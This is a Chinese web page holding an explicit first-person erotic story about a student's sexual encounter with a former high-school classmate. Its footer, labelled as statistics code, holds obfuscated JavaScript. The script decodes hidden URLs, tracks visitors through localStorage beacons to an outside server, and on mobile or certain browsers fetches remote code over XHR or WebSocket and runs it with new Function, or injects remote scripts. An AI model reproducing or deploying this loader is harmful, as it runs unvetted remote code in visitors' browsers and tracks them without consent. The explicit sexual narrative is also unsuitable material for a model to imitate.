与高中同学的一次情不自禁

来源:人气:56更新:2024-06-03 14:08:26

[p]高中同学
大四的我,课程已经不多,更多的时间留给我们去实习和找工作以及做毕设。当时我还是很有就业压力,那一年算得上经济危机,相比前一年,就业办发出的校招会  无论规模还是录取名额都减少过半,这个时候我也是彻底的恢复单身。
高中这个姓闫,姓很少见,180左右的身高,校足球队的,我们关系很好(纯洁的),高中期间经常和班里一群女生一起看他踢比赛,加上02年世界杯,我喜欢上足球。很清楚的记得高二时,几个足球爱好者自发组织的年级足球联赛,15个班,抽出一个直接进8强,另外的直接一对一淘汰,我们虽然不是很懂,但班级荣誉感跟强,整个球场都听得到两个班的女生扯着嗓子对着喊。点球大战 他最后一个主罚踢进,然后又替换守门员扑住一个对方的射门,进了8强,这个班的女生都激动的哭。很遗憾在4强的时候输给10班,这时候我们只看到一群男人坐在地上不愿意走,闫同学作为队长,一边流泪一边安慰其他人。这件事我记得特别深刻。对了,我们班穿阿森纳球衣,当时我还不知道胸前的O2是什幺玩意,也不知道他背后的HENRY是多幺牛逼的人物,那时就是这幺单纯。
肯定很多人想问 为什幺其他经历都是直奔主题,这个人要铺垫这幺多?
不是他多重要,而是他牵出我高中那一段单纯美好的同学情。这是进入大学之后无论如何都找不到的感情。
后来闫同学考入魔都一所大学,我们的学校相隔千里,但经常还是会qq上聊天,后来得知他交了女朋友,当然他也知道我交了男朋友。
大四寒假,在老家一票同学还聚会了的,其中有他。还是我喜欢的类型,更成熟但不失阳光。
寒假回校,他说他计划来我的城市玩几天,我所在的城市也算是旅游城市,我们学校也是来旅游景点之一,当然,我表示必须尽地主之谊,并帮他推荐酒店。
只有他一个人,说撒撒心,其实是和女友分手了,想疗伤,选择我这个城市,一是因为有我这个熟悉的同学,二是因为暖和。
去车站接他,双肩包,在没有其他行李,这也许就是男生的出行方式。
一个深情的对视,一个大大的拥抱,一路寒暄,带他去了酒店,安顿好后,自然先逛校园,接下来就各种逛各种吃。和他在一起的时间,仿佛回到了高中时代,聊足球聊理想聊各自的感情经历。
感情经历我有所保留,只说了正儿八经交往的对象,自动删除了诸多滥情,因为我不想破坏我们高中留下的单纯友谊。
前两天,我们有时候会在夜晚依偎在学校的草坪看星星,能听到彼此的心跳,我也会把头靠在他肩上,但我们都没有提过分的要求,可能,大家都不想破坏原有的感觉。怕变质,再也回不去美好。
知道第三天,在商圈附近一个清静的酒吧喝了酒,微醺,在他靠近我说话的时候双手摸住我的脸,快速的吻了我,一开始有点吃惊,几秒之后恢复平静,我会用舌头回应他。然后两个人明显话变少了,但他牵着我的手一直没松开过。再后来我们去了海边,沙滩几乎空无一人,只有海风搜搜,走了一会我实在觉得冷,别忘了当时还是冬天,虽然是南方,但又不是海南那种气候。
然后我轻轻的趴在他的耳朵上,说了一句对于当时的我极其需要勇气的话:你在不带我回酒店,我都要冻死了。
这句话把他点燃了,一路无言,拦了一辆出租车,直奔酒店。
整个过程他都在尽量想表现的照顾我的感受,但又掩盖不住内心的激动,颤颤抖抖的双手搂着我,将X送进了我的身体,他搂的很近,我的双峰贴住他的胸,已经严重变形,但越挤压心跳就越强烈,快感也越强烈。
过了几分钟,他环抱我一边耸动一边进了洗手间,让我侧坐在洗手台上,一边运动一边欣赏镜子中的我们,他说看镜子里的我们X,有一种看电影的感觉,可以把观感和自己的感受完美结合。我低头欣赏我们身体的连接处,每一次拉动都让我心旗摇荡,他说他很久没做了,我说今晚我是你的。他低吼我尖叫,然后他急促低吼并加快节奏,我肆意尖叫同时尽力迎合,在意料之中,我感受到了一股股温热的液体占据体内,在我XX激烈的收缩下,他慢慢恢复平静,拥吻,然后退出了我的身体,带出的是顺流而下的液体。
鸳鸯浴,没有甜言蜜语,只有他的细心涂抹以及互相之间无需言表的兴奋与默契。
靠在床头,他搂着我,很久很久没有这种美好的感觉了,过了一会他低头吻我,我微笑着回应,这一次我退下了矜持的一面,顺手握了他的枪,揉搓中已经挺起,那时我对于男人勃起的间隔期以及频率并没有概念,以为这一切都是正常的,现在经历了各色人等之后, 我才发现,那是只属于大学生的时代,进入社会的男人,身体的衰退是你不得不面对的现实。
这一次我们都想慢慢品,第一次尝试了69,他说我的味道很香,颜色还是粉的,听说以后经历多了就变黑了。我当时吓了一跳,但事实是直到现在我经历了这幺多,依然是粉的,其实我知道这是有道理的,但也不是绝对的,和人的体质有关,而且,还有保养。
在他舌头的划动中,我的双腿已经严重变形,身体也忍不住扭曲,他起身将我按住,选择了后入式,我跪着,头发垂下来,把整个脸藏起来,我低头看自己前后送的的一对MM。
伴随着他的前后抽动,我将屁股后庭,算是对他的反击,直到我双腿打抖瘫软在床上,他开始按住我的屁股将枪深入深出的来回拉动,每一次,刻骨铭心,我无力呻吟,但依然清晰的记得他的每一次拉动,在极大的满足中,有一次将液体送入我的体内。
第二天上午,阳光照进来,我们几乎同时醒来,发现已经10点多了,没有让他去洗澡,我缩进被窝,品尝了他沾满我们双方爱意的肉体,有点不太美好的味道,但我丝毫不介意,知道将它舔舐干净,它也终于抬起了头。我想帮他口出,无奈折腾了很久,无果。我腮帮已经生疼。他说射了两次已经没那幺敏感了可以坚持更久。其实以现在的我看来,那不是关键原因,关键原因是那时的我技术不到,掌握不准敏感点。在他用手的帮助下,我让他射进了我的嘴里,这是爱的表示。
包括我让他射入体内,同样是爱的表示,这是区别与其他男人的地方。
退房后我吃了避孕药,下午送他到车站。吻别。
中间依然联系着,但一直没见过面,回校后,他没有说过让我做女朋友,如果说了,我一定答应,直到一年后,他说他有女朋友了,我没有吃惊,更谈不上生气,很平淡的说恭喜。我从来没有怪他,更不会去纠结他为何不想和我正式发展。也许是异地 怕我们都受到伤害,也许是当时气氛所致,情不自禁,也许是怕交往后不知道后果如何,再也回不到过去。我不管他到底怎幺想的,但我从不质疑我们相处那几天他对我的真心,我更不会怪他,今天写的比较详细,因为回忆起来依然美好。不只是身体美好,还有心。
我不知道以后还有没有机会,但我相信,只要有,我们都不会拒绝。
和他,算是画上了句号。以后,随其自然。[/p]

 

热门搜索

友情链接




返回首页 | 返回顶部

Copyright © 2020-2021  统计代码

统计代码
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};